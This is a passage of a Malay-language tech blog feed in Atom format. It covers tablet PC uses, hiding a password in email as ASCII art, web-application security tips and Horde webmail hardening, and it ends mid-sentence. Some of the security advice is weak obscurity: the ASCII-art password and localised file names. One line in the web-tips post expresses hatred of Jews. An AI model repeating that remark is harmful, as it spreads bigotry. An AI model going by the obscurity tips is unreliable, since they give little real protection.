perisian kenal tulisan dan convert kepada teks. Jadi sambil dengar khutbah, dengar tazkirah kat masjid atau dengar cikgu mengajar tu boleh la guna tablet PC catat apa patut..kan bagus kegunaan tu.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;8) Simbol Matematik&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Menulis simbol matematik yang pelik2 lebih mudah dengan ada tablet PC sebab kebanyakan simbol matematik susah nak ditulis dalam Notebook dan PC biasa. Ini kerana lukis je simbol tu kat dalam PC.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;9) Mesyuarat&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Kerja nak menulis minit mesyuarat ni bukan kerja senang, dahla kena siapkan dalam masa 3 hari. Dengan ada tablet PC ni maka lebih mudah nak mencatat minit mesyuarat on the spot terus semasa mesyuarat. Selain tu, kalau guna notebook, skrin depan kita tu dah terhalang dari pengerusi mesyuarat.kan ke tak mesra lak nanti duk menaip minit mesyuarat tapi macam menyuruk belakang skrin notebook je...hehehe&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;10) Ucapan&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Gunakan tablet PC sebagai ganti untuk baca teks ucapan perasmian dalam sesuatu majlis. Nak selak muka surat pun mudah dengan tablet PC. Bergaya la skit pemberi ucapan perasmian bawak tablet PC naik pentas. Selain tu ada perisian boleh convert pengucapan kepada perkataan.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;11) Borang&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Guna tablet pc untuk isi borang soal selidik ke, oder barang ke, check in hotel ke. Kalau nak guna kios kan ke besar gedabak saiznya dan perlukan ruang.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;12) Log&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Menyimpan log pekerjaan yang dilakukan terus ke dalam PC. Log tu boleh terus hantar menerusi emel dan boleh cetak jika diperlukan.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;13) Resipi di dapur&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Kalau nak memasak, tengok je tablet PC. Tkyah nak salin dalam buku nota lusuh2 atau print kat kertas semata nak memasak. Siap boleh tengok cara-cara memasak lagi dalam youtube.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;14) Album Foto&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Tablet pc boleh ganti buku album yang banyak2 tu. Boleh simpan gambar2 yang diambil dalam tu dan boleh belek bila-bila masa saja. Sambil tu boleh jadikan frame gambar, kalau time nak tido tu leh tengok2 gambar tersyg senang sikit nak tido.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;15) Menonton Movie&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Kepuasan menonton movie bukanlah keutamaan bila menggunakan tablet PC ni tapi lebih kepada mobiliti.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;16) Permainan&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Permainan ringan boleh dimainkan terus dari tablet PC sekadar nak hilangkan stress.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;17) Proposal / Resume&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Kalau buat proposal tu leh terus tunjuk dalam tablet je takyah nak print out binding banyak2. Selain tu kalau gi interview leh bawak tablet PC as resume digital. Baru bergaya, dan orang yakin sikit kat kita.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;18) Diari&lt;/div&gt;&lt;div style="text-align: justify;"&gt;- Boleh menulis diari dalam tablet anda gantikan buku diari. cuma sentimental value tu kurang la. Dan kalau tablet pc kena virus, data diari anda akan hilang atau kena curi...bahaya gak wooo...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Moga tips ni yang aku adapt dari Majalah PC edisi Februari 2011 mampu membantu anda mempelbagaikan penggunaan tablet PC ni bukan sekadar nak surf Facebook je...buat rugi je..&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;~ Be a Creator Not a User ~&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-3358528234579590977?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/3358528234579590977/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=3358528234579590977&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3358528234579590977'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/3358528234579590977'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/02/how-to-make-your-tablet-pc-useful.html' title='How to Make Your Tablet PC Useful'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-a_69a1uuX1o/TVpM-A5KbpI/AAAAAAAAAwc/R6NSw_b_Plw/s72-c/tablet-pc.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-2603974933136451699</id><published>2011-01-27T17:18:00.001+08:00</published><updated>2011-03-15T08:59:31.503+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='ICT Security'/><title type='text'>Alternative Solution To Tell Password in Email</title><content type='html'>Dalam kebanyakan urusan kita yang menggunakan emel sebagai medium urusan rasmi sering menggunakannya untuk bertukar maklumat berkaitan kerja atau bisnes. Kadangkala kita juga bertukar maklumat kata laluan di dalam emel kita.&lt;br /&gt;&lt;br /&gt;Salah satu alternatif kepada penyelesaian tersebut adalah seperti berikut :&lt;br /&gt;(Ianya bukanlah penyelesaian yang susah untuk di hack oleh hackers tapi membantu mengurangkan risiko melihat terus pada pandangan kasar maklumat tersebut )&lt;br /&gt;&lt;br /&gt;1) Kata laluan yang digunakan : 'hantu'&lt;br /&gt;2) Cipta imej berdasarkan perkataan tersebut menggunakan perisian online berikut :&lt;br /&gt;http://interactimage.com/&lt;br /&gt;Taip pada ruang 'Enter Text Below' dan seterusnya klik butang CREATE &lt;br /&gt;3) Imej tulisan tersebut akan terjana di ruang atas&lt;br /&gt;4) Halakan mouse pointer sehingga keluar ikon + dan Klik Kanan pada imej tersebut dan pilih 'save image as'. Simpan ke dalam PC anda&lt;br /&gt;5) Seterusnya kita akan cipta ASCII berdasarkan fail imej tersebut.&lt;br /&gt;6) Terus ke URL berikut : http://www.studenthere.com/redirect.php?url=http://www.text-image.com/convert/ascii.html&lt;br /&gt;7) Pilih fail imej tadi dan seterusnya ikut konfigurasi seperti berikut :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TUE29uZp3yI/AAAAAAAAArY/rA7NhTl9DWg/s1600/HANTU.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="210" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TUE29uZp3yI/AAAAAAAAArY/rA7NhTl9DWg/s320/HANTU.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;8) Seterusnya klik Convert!&lt;br /&gt;9) Paparan berikut akan terjana :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TUE29TpJyAI/AAAAAAAAArU/El7Yevv2rVY/s1600/HANTU2.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="143" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TUE29TpJyAI/AAAAAAAAArU/El7Yevv2rVY/s320/HANTU2.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;br /&gt;10)Highlight kan tulisan tersebut dan klik kanan seterusnya pilih 'copy'&lt;br /&gt;11) Buka New Emaill Compose anda dengan menetapkan menulis secara HTML&lt;br /&gt;12) Kemudian klik kanan pada ruang penulisan compose email tersebut dan pilih 'paste'.&lt;br /&gt;13) Paparan berikut dalam New Email Compose anda :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TUE3kLK1ZQI/AAAAAAAAArc/fc93QirpEO0/s1600/HANTU3.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="210" src="http://4.bp.blogspot.com/_Pk16G7RhVRE/TUE3kLK1ZQI/AAAAAAAAArc/fc93QirpEO0/s320/HANTU3.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;14) Rupa emel apabila dibaca :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TUE4NVBZXoI/AAAAAAAAArg/aeYlRI3Xyso/s1600/HANTU4.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="195" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TUE4NVBZXoI/AAAAAAAAArg/aeYlRI3Xyso/s320/HANTU4.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Selamat mencuba!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-2603974933136451699?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/2603974933136451699/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=2603974933136451699&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2603974933136451699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/2603974933136451699'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/01/alternative-solution-to-tell-password.html' title='Alternative Solution To Tell Password in Email'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TUE29uZp3yI/AAAAAAAAArY/rA7NhTl9DWg/s72-c/HANTU.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-7479065424222616306</id><published>2011-01-04T16:07:00.000+08:00</published><updated>2011-01-04T16:07:08.901+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='MySQL'/><category scheme='http://www.blogger.com/atom/ns#' term='Knowledge Share'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>Tips to Develop A Good Web Application</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Pk16G7RhVRE/TSLUzqo5wJI/AAAAAAAAArA/cOYV7mmsBAs/s1600/Steve%252BJobs%252BSpeaks%252BApple%252BWeb%252BDeveloper%252BConference%252B79Ko6H5AxOnl.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="424" src="http://2.bp.blogspot.com/_Pk16G7RhVRE/TSLUzqo5wJI/AAAAAAAAArA/cOYV7mmsBAs/s640/Steve%252BJobs%252BSpeaks%252BApple%252BWeb%252BDeveloper%252BConference%252B79Ko6H5AxOnl.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;*Sampai botak memikir hehehe...aku kagum dengan bakat steve jobs and belajar apa yang baik padanya, but i am totally hate yahudi&lt;br /&gt;&lt;br /&gt;Aku nak kongsi tips-tips yang aku perolehi berdasarkan pengalaman sendiri dan juga pengalaman orang lain.&lt;br /&gt;&lt;br /&gt;Perkara perlu pembangun sistem aplikasi web ambil tahu.&lt;br /&gt;&lt;br /&gt;1) Pastikan web server (Apache) telah melaksanakan konfigurasi yang selamat&lt;br /&gt;&lt;br /&gt;2) Pastikan Application server (PHP) telah melaksanakan konfigurasi yang selamat juga&lt;br /&gt;&lt;br /&gt;3) Pastikan Database Server (mysql / postgresql) turut telah melaksanakan konfigurasi yang selamat juga &lt;br /&gt;&lt;br /&gt;4) Pastikan semasa pembangunan sistem atau naiktaraf sistem, jangan sekali-sekali lakukan pada host server yang sedang live kerana ini mengundang kepada masalah berikut :&lt;br /&gt;&amp;nbsp;- serangan hackers yang mudah sebab aplikasi dibangunkan tidak sepenuhnya bersedia untuk live&lt;br /&gt;&amp;nbsp;- pengguna sistem akan merasa terganggu dan sakit hati sebab asyik berubah sahaja sistem yang sedang digunakan mereka pada masa tu.&lt;br /&gt;&lt;br /&gt;5) Semasa membangunkan sistem, laksanakan di server ujian sebelum di transfer kepada server live. Pastikan server ujian mempunyai konfigurasi kawalan keselamatan web server dan application server yang sama seperti server sebenar bagi mengelakkan fungsi sistem dibangunkan tidak dapat dilaksanakan di server live nanti&lt;br /&gt;&lt;br /&gt;6) Kenalpasti keperluan perisian sokongan sebelum membangunkan sistem aplikasi bagi memastikan proses migrasi kepada server sebenar lebih mudah.&lt;br /&gt;- kenalpasti konfigurasi, jenis dan versi web server&lt;br /&gt;- kenalpasti konfigurasi, jenis dan versi application server&lt;br /&gt;- kenalpasti konfigurasi, jenis dan versi database server &lt;br /&gt;- kenalpasti module dan perisian sokongan dari segi jenis dan versi bagi memastikan sistem berfungsi dengan baik (cth : mod_ssl, phpmyadmin)&lt;br /&gt;&lt;br /&gt;7) Jangan sesekali suka menggunakan nama fail yang mudah dikenali seperti :&lt;br /&gt;&lt;br /&gt;- admin_edit.php&lt;br /&gt;- admin_delete.php&lt;br /&gt;&lt;br /&gt;Ini kerana nama tersebut mudah dikenali di seluruh dunia. Cuba berikan nama bersesuaian dan lebih bersifat lokaliti cth :&lt;br /&gt;&lt;br /&gt;- ptadbir_kemaskini.php&lt;br /&gt;- ptadbir_padam.php&lt;br /&gt;&lt;br /&gt;Nama mengikut lokaliti mengurangkan risiko nama fail dan fungsinya dikenali hackers kerana kebanyakan mereka memang tau berbahasa inggeris sebab belajar ICT ni semua rujukan kebanyakannya dalam bahasa inggeris. Namun kena ingat, orang malaysia pun dah pandai hack...so fikirkanlah nama bersesuaian yang susah orang lain untuk kenalpasti fungsi fail tersebut TAPI...jangan pula sampai pembangun sistem sendiri tak tahu...&lt;br /&gt;&lt;br /&gt;8) Jangan sesekali suka meninggalkan fail backup di dalam folder yang akan diletakkan di dalam host server live. Begitu juga dengan fail untuk kegunaan restore database barangkali ada dalam server live. Contohnya :&lt;br /&gt;&lt;br /&gt;- admin_edit2.php&lt;br /&gt;- admin_delete3.php&lt;br /&gt;- sistemabc.sql &lt;br /&gt;&lt;br /&gt;Langkah ini mengundang risiko paling bahaya kepada sistem anda kerana kemungkinan fail tersebut tidak ditetapkan kawalan keselamatan yang ketat kerana ianya tidak bersedia untuk paparan live server dan ini mengundang hackerz untuk menjadikannya sebagai batu loncatan bagi membolehkan menceroboh server tersebut seterusnya melakukan kerja tak sepatutnya pada sistem tersebut.&lt;br /&gt;&lt;br /&gt;9) Apabila membangunkan sistem yang mempunyai tahap capaian yang ketat, maka pemerhatian terperinci perlu dibuat kepada kaedah kawalan capaian kepada data di dalam setiap page yang dibina. Contoh algorithm :&lt;br /&gt;&lt;br /&gt;if session(validuser) = true&lt;br /&gt;&amp;nbsp; paparkan data dikehendaki&lt;br /&gt;else&lt;br /&gt;&amp;nbsp; redirect ke page login bagi memaksa pengguna login dahulu&lt;br /&gt;endif&lt;br /&gt;&lt;br /&gt;10) Penggunaan session atau cookies perlulah berhati-hati dan pastikan datanya di encypt agar tidak dapat diserang menerusi man in the middle attack. Validation setiap page perlu dibuat bagi memastikan ianya mematuhi ketetapan sistem berdasarkan tahap capaian.&lt;br /&gt;&lt;br /&gt;11) Jangan sesekali suka dan terlalu banyak menggunakan include dalam satu-satu page. Ini mengundang risiko berikut jika tidak dikawal sebaiknya :&lt;br /&gt;- serangan hackerz menerusi include injection kepada page include yang tidak dikawal tahap capaian&lt;br /&gt;- memperlahankan akses dan proses kepada page tersebut. mengundang kebosanan pengguna gunakan sistem&lt;br /&gt;&lt;br /&gt;12) Minimakan penggunaan javascript dan sebolehnya diringkaskan codingnya. Begitu juga coding server side di setiap page perlu diringkaskan sebaik mungkin agar proses page dapat dikurangkan dan lebih cepat. percayalah!...ia memang amat membantu&lt;br /&gt;&lt;br /&gt;13) Kawal juga jenis fail dan saiz fail yang ingin di upload ke dalam server. Ini kerana tanpa ada kawalan yang baik akan mengundang serangan hackerz yang amat mudah dan juga turut menyebabkan server menjadi slow kemungkinan serangan DDOS kepada upload page tu. Selain tu tiada penetapan saiz fail bakal menyebabkan pengguna akan mengalami respon sistem yang teramat perlahan, Cuba gunakan kaedah pecah kecil fail sebelum di hantar kepada server.&lt;br /&gt;&lt;br /&gt;14) Bagi kemasukan data yang banyak sampai 2-3 page borang manual dan dilaksanakan dalam sistem yang besar penggunanya akan menyebabkan sistem terasa amat perlahan kesudahannya, percayalah. Sebaiknya pecah kecil mengikut subtopik pada borang tersebut dan kemaskini secara runcit ke dalam server. Ini bagi mengurangkan proses penghantaran data yang terlalu besar sekaligus kepada server secara serentak kepada semua pengguna pada satu-satu masa. Pecah kecil akan membantu mengurangkan packet data yang diproses seterusnya melajukan akses kepada sistem&lt;br /&gt;&lt;br /&gt;15) Bagi pelaksanaan web sistem, janganlah melaksanakannya mengikut flow sistem client server seperti ada satu sistem tu...Bina interface yang user friendly dan mudah dicapai dalam 1 muka surat tanpa perlu scroll panjang ke bawah serta mudah nak mencapai fungsi-fungsi tertentu dalam sistem. Kaedah HCI (Human Computer Interface) ni memang dah jadi topik utama dalam ijazah atau diploma ICT sekarang ni...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;16) Pastikan form page perlulah dibuat validation bagi menjadikannya zero error input daripada pengguna. Make it as perfect as possible supaya nanti pembangun sistem tk perlu pening kepala nak kena ubah database ikut jalan belakang.&lt;br /&gt;&lt;br /&gt;* Aku rasa setakat ni dulu apa yang aku teringat untuk dikongsi bersama. Jika rakan-rakan ada cadangan tambahan lain pada artikel ni amatlah dialukan.&lt;br /&gt;&lt;br /&gt;~ Be a Creator Not a User ~&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/907989761847606873-7479065424222616306?l=muzzotechspot.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muzzotechspot.blogspot.com/feeds/7479065424222616306/comments/default' title='Catat Ulasan'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=907989761847606873&amp;postID=7479065424222616306&amp;isPopup=true' title='0 Ulasan'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7479065424222616306'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/907989761847606873/posts/default/7479065424222616306'/><link rel='alternate' type='text/html' href='http://muzzotechspot.blogspot.com/2011/01/tips-to-develop-good-web-application.html' title='Tips to Develop A Good Web Application'/><author><name>muzzo</name><uri>http://www.blogger.com/profile/07681971727871823869</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_Pk16G7RhVRE/SbZginnrT5I/AAAAAAAAATg/2z8zrwlSzzM/S220/muzzoshah.JPG'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Pk16G7RhVRE/TSLUzqo5wJI/AAAAAAAAArA/cOYV7mmsBAs/s72-c/Steve%252BJobs%252BSpeaks%252BApple%252BWeb%252BDeveloper%252BConference%252B79Ko6H5AxOnl.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-907989761847606873.post-5327130198429978459</id><published>2011-01-03T17:40:00.002+08:00</published><updated>2011-01-03T18:00:48.153+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Horde'/><title type='text'>Horde Day</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Pk16G7RhVRE/TSGd1BPwhAI/AAAAAAAAAq4/Xk20Vpw7U-A/s1600/horde1.JPG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TSGcswlJJaI/AAAAAAAAAq0/6D6vArEiXQU/s1600/Horde_Plesk_IMAP_email_problem-180x160.jpg" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Pk16G7RhVRE/TSGcswlJJaI/AAAAAAAAAq0/6D6vArEiXQU/s1600/Horde_Plesk_IMAP_email_problem-180x160.jpg" /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;Kali ni aku nak cerita pasal Webmel Horde. Di ofis guna webmel ni sejak 2008. Walaupun skang ni ada zimbra dan kira the most popular, tapi kami still guna Horde sebab dah biasa dan still one of the best Webmel Ever...&lt;br /&gt;&lt;br /&gt;Masalah paparan emel dalam horde by default takkan keluar terus emel yang dihantar dalam format HTML. Kalau format plain text ia akan terus paparkan. Ini disebabkan oleh banyak vulnerable dari emel berunsur HTML ni. Boleh trigger XSS attack menerusinya.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Kaedah untuk enable paparan HTML dalam emel Horde :&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1) Buka fail ... imp/config/mime_drivers.php&lt;br /&gt;2) Tukar dari berikut :&lt;br /&gt;$mime_drivers['imp']['html'] = array(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'inline' =&amp;gt; false&lt;br /&gt;kepada&lt;br /&gt;$mime_drivers['imp']['html'] = array(&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'inline' =&amp;gt; true&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Pk16G7RhVRE/TSGcswlJJaI/AAAAAAAAAq0/6D6vArEiXQU/s1600/Horde_Plesk_IMAP_email_problem-180x160.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/div&gt;3) Save dan lihat semula emel anda yang dihantar menggunakan HTML. Ianya akan terus dipaparkan.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Menapis mesej HTML dipaparkan dalam emel :&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;1) Menggunakan fungsi tidy PHP extension. Fungsinya adalah untuk menapis paparan output bagi HTML sebelum dipaparkan kepada pengguna dan ianya juga digunakan untuk membersihkan dan memperbaiki mesej yang dihantar menggunakan HTML mesej menggunakan mode HTML compose.&lt;br /&gt;2) Pastikan PECL diinstall dalam server untuk menggunakannya &lt;br /&gt;&lt;br /&gt;3) Buka fail .../imp/config/mime_drivers.php&lt;br /&gt;4) Ubah dari :&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'tidy' =&amp;gt; false,&lt;br /&gt;kepada&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 'tidy' =&amp;gt; true,&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Semak version dan configuration Horde &lt;/b&gt;&lt;br /&gt;&lt;blockquote&gt;http://my.domain.com/horde/test.php&lt;/blockquote&gt;&lt;i&gt;&lt;b&gt;Kaedah konfigurasi selamat untuk Horde :&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;1) Temporary Files &lt;/b&gt;:&lt;br /&gt;Horde banyak menggunakan temporary files bagi memastikan akses kepada Horde pantas. Namun kita kena pastikan semua fail tersebut adalah selamat.&lt;br /&gt;&lt;br /&gt;Jangan sesekali menetapkan folder temporary files tersebut writable kepada pengguna web server dan tak writable kepada lain-lain pengguna. Ini kerana ianya akan mendedahkan maklumat-maklumat sensitif dalam server. Seeloknya tetapkan sebagai unreadable kepada pengguna lain. Atau dengan kata lain, tetapkan sebagai readable dan writable hanya kepada pengguna web server sahaja.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2) PHP Session&lt;/b&gt;&lt;br /&gt;Untuk memastikan tahap keselamatan Horde, PHP Session cookies perlulah di enable dalam PHP setting session.use_cookies. Juga pastikan cookie path dan cookie domain ditetapkan dalam konfigurasi Horde. Pastikan session cookie ditetapkan dalam konfigurasi Horde dan ianya dah jadi default pun sekarang ni.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Jika guna HTTPS, maka ini akan memaksa cookies di hantar menerusi secure connection yang dapat halang sebarang sidejacking.&lt;br /&gt;&lt;br /&gt;Horde yang besar perlu tetapkan maklumat session.entropy_file dan session.entropy_length yang bersesuaian.&lt;br /&gt;&lt;br /&gt;Horde akan enkrip maklumat pengguna sebelum disimpan dalam session. Namun ianya akan dikuatkan lagi sekiranya menggunakan PHP extension 'mcrypt' yang membenarkan enkripsi yang lebih kuat.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3) Default Database Password&lt;/b&gt;&lt;br /&gt;Pada asasnya apabila install Horde, ia akan guna default user dan password untuk akses kepada horde database. Menggunakannya untuk production mengundang serangan penceroboh kerana penyerang boleh teka password default dengan mudah.&lt;br /&gt;&lt;br /&gt;Pastikan password ditukarkan kepada yang lebih selamat&lt;br /&gt;&lt;br /&gt;&lt;b&gt;4) Prevent Configuration File Reading and Writing&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Fail konfigurasi mengandungi maklumat yang sensitif seperti kata laluan database dan perlu dilindungi daripada read atau write oleh local system user atau remote web user.&lt;br /&gt;&lt;br /&gt;Bagi pengguna Unix/Linux, gunakan penetapan permission bagi folder berkenaan berdasarkan user web server. Berikut adalah contoh konfigurasi penetapan permission menggunakan user apache :&lt;br /&gt;&lt;br /&gt;$ chown -R apache /home/httpd/html/horde/config&lt;br /&gt;$ chown -R apache /home/httpd/html/horde/*/config&lt;br /&gt;$ chmod -R go-rwx /home/httpd/html/horde/config&lt;br /&gt;$ chmod -R go-rwx /home/httpd/html/horde/*/config&lt;br /&gt;&lt;br /&gt;Untuk penetapan permission yang lebih kukuh, tetapkan terus capaian tree Horde HANYA kepada web server user dan root sahaja :&lt;br /&gt;&lt;br /&gt;$ chown -R apache /home/httpd/html/horde&lt;br /&gt;$ chmod -R go-rwx&amp;nbsp; /home/httpd/html/horde&lt;br /&gt;$ chmod -R a-w&amp;nbsp;&amp;nbsp; /home/httpd/html/horde/&lt;br /&gt;&lt;br /&gt;Nota : baris akhir menetapkan semua fail unwritable dari semua pengguna kecuali root sahaja boleh ubah. Ianya akan membuatkan site selamat tetapi agak rumit untuk selenggara. Ianya akan menyebabkan kita tak boleh ubah melalui Horde Web Administrative dan hanya boleh dibuah secara manual terus kepada fail menggunakan akses root.&lt;br /&gt;&lt;br /&gt;Konfigurasi atas ini masih lagi belum selamat jika pengguna lain di server yang sama menjalankan script arahan menggunakan apache user. Bagi menghindarkannya, kita perlu tetapkan akaun yang berbeza mengikut setiap pengguna dan run menggunakan module apache suexec. Anda perlu sentiasa memantau modul cgi, mod_php, mod_perl, mod_python dan lain-lain lagi.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;5. Restricting test.php files&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Fail test.php memaparkan banyak maklumat yang penting dan rahsia tentang sistem horde anda dan amat beruntung apabila hackers menjumpainya. Ianya digunakan oleh developer untuk kenalpasti sama ada modul dan fungsi dalam 